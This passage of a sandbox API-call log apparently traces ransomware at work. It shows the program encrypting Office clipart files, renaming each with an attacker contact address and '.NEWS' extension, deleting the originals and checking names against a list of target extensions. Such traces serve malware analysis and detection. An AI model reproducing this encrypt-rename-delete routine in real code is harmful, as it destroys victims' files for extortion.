lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x790, lpOverlapped=0x0) returned 1 [0161.684] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.684] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.685] SetEndOfFile (hFile=0x484) returned 1 [0161.685] CloseHandle (hObject=0x484) returned 1 [0161.685] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.685] SetEndOfFile (hFile=0x454) returned 1 [0162.641] CloseHandle (hObject=0x454) returned 1 [0162.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0163.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0163.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.831] lstrlenW (lpString=".doc") returned 4 [0163.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.831] lstrlenW (lpString=".docx") returned 5 [0163.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0163.831] lstrlenW (lpString=".pdf") returned 4 [0163.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.831] lstrlenW (lpString=".xls") returned 4 [0163.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.831] lstrlenW (lpString=".xlsx") returned 5 [0163.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0163.831] lstrlenW (lpString=".ppt") returned 4 [0163.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.831] lstrlenW (lpString=".zip") returned 4 [0163.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.831] lstrlenW (lpString=".rar") returned 4 [0163.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.831] lstrlenW (lpString=".bz2") returned 4 [0163.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.831] lstrlenW (lpString=".7z") returned 3 [0163.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.832] lstrlenW (lpString=".dbf") returned 4 [0163.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.832] lstrlenW (lpString=".1cd") returned 4 [0163.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.832] lstrlenW (lpString=".jpg") returned 4 [0163.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.832] lstrlenW (lpString=".doc") returned 4 [0163.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.832] lstrlenW (lpString=".docx") returned 5 [0163.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0163.832] lstrlenW (lpString=".pdf") returned 4 [0163.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.832] lstrlenW (lpString=".xls") returned 4 [0163.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.832] lstrlenW (lpString=".xlsx") returned 5 [0163.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0163.832] lstrlenW (lpString=".ppt") returned 4 [0163.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.832] lstrlenW (lpString=".zip") returned 4 [0163.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.833] lstrlenW (lpString=".rar") returned 4 [0163.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.833] lstrlenW (lpString=".bz2") returned 4 [0163.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.833] lstrlenW (lpString=".7z") returned 3 [0163.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.833] lstrlenW (lpString=".dbf") returned 4 [0163.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.833] lstrlenW (lpString=".1cd") returned 4 [0163.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0163.833] lstrlenW (lpString=".jpg") returned 4 [0163.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.833] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0163.834] lstrlenW (lpString="J0089945.WMF") returned 12 [0163.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0163.869] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19898) returned 1 [0163.869] CloseHandle (hObject=0x4f0) returned 1 [0163.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0163.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0163.870] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.870] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0163.871] GetLastError () returned 0x0 [0163.871] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0163.880] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0163.882] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.882] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.882] SetEndOfFile (hFile=0x4f4) returned 1 [0163.882] CloseHandle (hObject=0x4f4) returned 1 [0163.882] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.882] SetEndOfFile (hFile=0x4f0) returned 1 [0163.886] CloseHandle (hObject=0x4f0) returned 1 [0163.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0163.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0163.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.888] lstrlenW (lpString=".doc") returned 4 [0163.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.888] lstrlenW (lpString=".docx") returned 5 [0163.888] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0163.888] lstrlenW (lpString=".pdf") returned 4 [0163.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.888] lstrlenW (lpString=".xls") returned 4 [0163.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.888] lstrlenW (lpString=".xlsx") returned 5 [0163.888] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0163.888] lstrlenW (lpString=".ppt") returned 4 [0163.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.889] lstrlenW (lpString=".zip") returned 4 [0163.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.889] lstrlenW (lpString=".rar") returned 4 [0163.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.889] lstrlenW (lpString=".bz2") returned 4 [0163.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.889] lstrlenW (lpString=".7z") returned 3 [0163.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.889] lstrlenW (lpString=".dbf") returned 4 [0163.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.889] lstrlenW (lpString=".1cd") returned 4 [0163.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.889] lstrlenW (lpString=".jpg") returned 4 [0163.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.889] lstrlenW (lpString=".doc") returned 4 [0163.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.889] lstrlenW (lpString=".docx") returned 5 [0163.889] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0163.889] lstrlenW (lpString=".pdf") returned 4 [0163.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.889] lstrlenW (lpString=".xls") returned 4 [0163.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.890] lstrlenW (lpString=".xlsx") returned 5 [0163.890] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0163.890] lstrlenW (lpString=".ppt") returned 4 [0163.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.890] lstrlenW (lpString=".zip") returned 4 [0163.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.890] lstrlenW (lpString=".rar") returned 4 [0163.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.890] lstrlenW (lpString=".bz2") returned 4 [0163.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.890] lstrlenW (lpString=".7z") returned 3 [0163.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.890] lstrlenW (lpString=".dbf") returned 4 [0163.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.890] lstrlenW (lpString=".1cd") returned 4 [0163.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0163.890] lstrlenW (lpString=".jpg") returned 4 [0163.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.890] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0163.890] lstrlenW (lpString="J0089992.WMF") returned 12 [0163.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0163.891] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15680) returned 1 [0163.891] CloseHandle (hObject=0x4f0) returned 1 [0163.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0163.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0163.892] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.892] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0163.893] GetLastError () returned 0x0 [0163.893] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0163.905] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0163.907] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.908] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.908] SetEndOfFile (hFile=0x4f4) returned 1 [0163.965] CloseHandle (hObject=0x4f4) returned 1 [0164.082] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.082] SetEndOfFile (hFile=0x4f0) returned 1 [0164.107] CloseHandle (hObject=0x4f0) returned 1 [0164.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.109] lstrlenW (lpString=".doc") returned 4 [0164.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.109] lstrlenW (lpString=".docx") returned 5 [0164.109] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0164.109] lstrlenW (lpString=".pdf") returned 4 [0164.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.109] lstrlenW (lpString=".xls") returned 4 [0164.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.109] lstrlenW (lpString=".xlsx") returned 5 [0164.109] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0164.109] lstrlenW (lpString=".ppt") returned 4 [0164.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.109] lstrlenW (lpString=".zip") returned 4 [0164.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.109] lstrlenW (lpString=".rar") returned 4 [0164.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.109] lstrlenW (lpString=".bz2") returned 4 [0164.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.109] lstrlenW (lpString=".7z") returned 3 [0164.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.109] lstrlenW (lpString=".dbf") returned 4 [0164.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.110] lstrlenW (lpString=".1cd") returned 4 [0164.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.110] lstrlenW (lpString=".jpg") returned 4 [0164.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.110] lstrlenW (lpString=".doc") returned 4 [0164.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.110] lstrlenW (lpString=".docx") returned 5 [0164.110] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0164.110] lstrlenW (lpString=".pdf") returned 4 [0164.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.110] lstrlenW (lpString=".xls") returned 4 [0164.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.110] lstrlenW (lpString=".xlsx") returned 5 [0164.110] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0164.110] lstrlenW (lpString=".ppt") returned 4 [0164.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.110] lstrlenW (lpString=".zip") returned 4 [0164.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.110] lstrlenW (lpString=".rar") returned 4 [0164.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.110] lstrlenW (lpString=".bz2") returned 4 [0164.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.111] lstrlenW (lpString=".7z") returned 3 [0164.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.111] lstrlenW (lpString=".dbf") returned 4 [0164.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.111] lstrlenW (lpString=".1cd") returned 4 [0164.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0164.111] lstrlenW (lpString=".jpg") returned 4 [0164.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.111] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.111] lstrlenW (lpString="J0090027.WMF") returned 12 [0164.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0164.112] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=21268) returned 1 [0164.112] CloseHandle (hObject=0x4f0) returned 1 [0164.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0164.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0164.113] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.113] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0164.114] GetLastError () returned 0x0 [0164.114] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x5314, lpOverlapped=0x0) returned 1 [0164.136] WriteFile (in: hFile=0x508, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5320, lpOverlapped=0x0) returned 1 [0164.138] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, 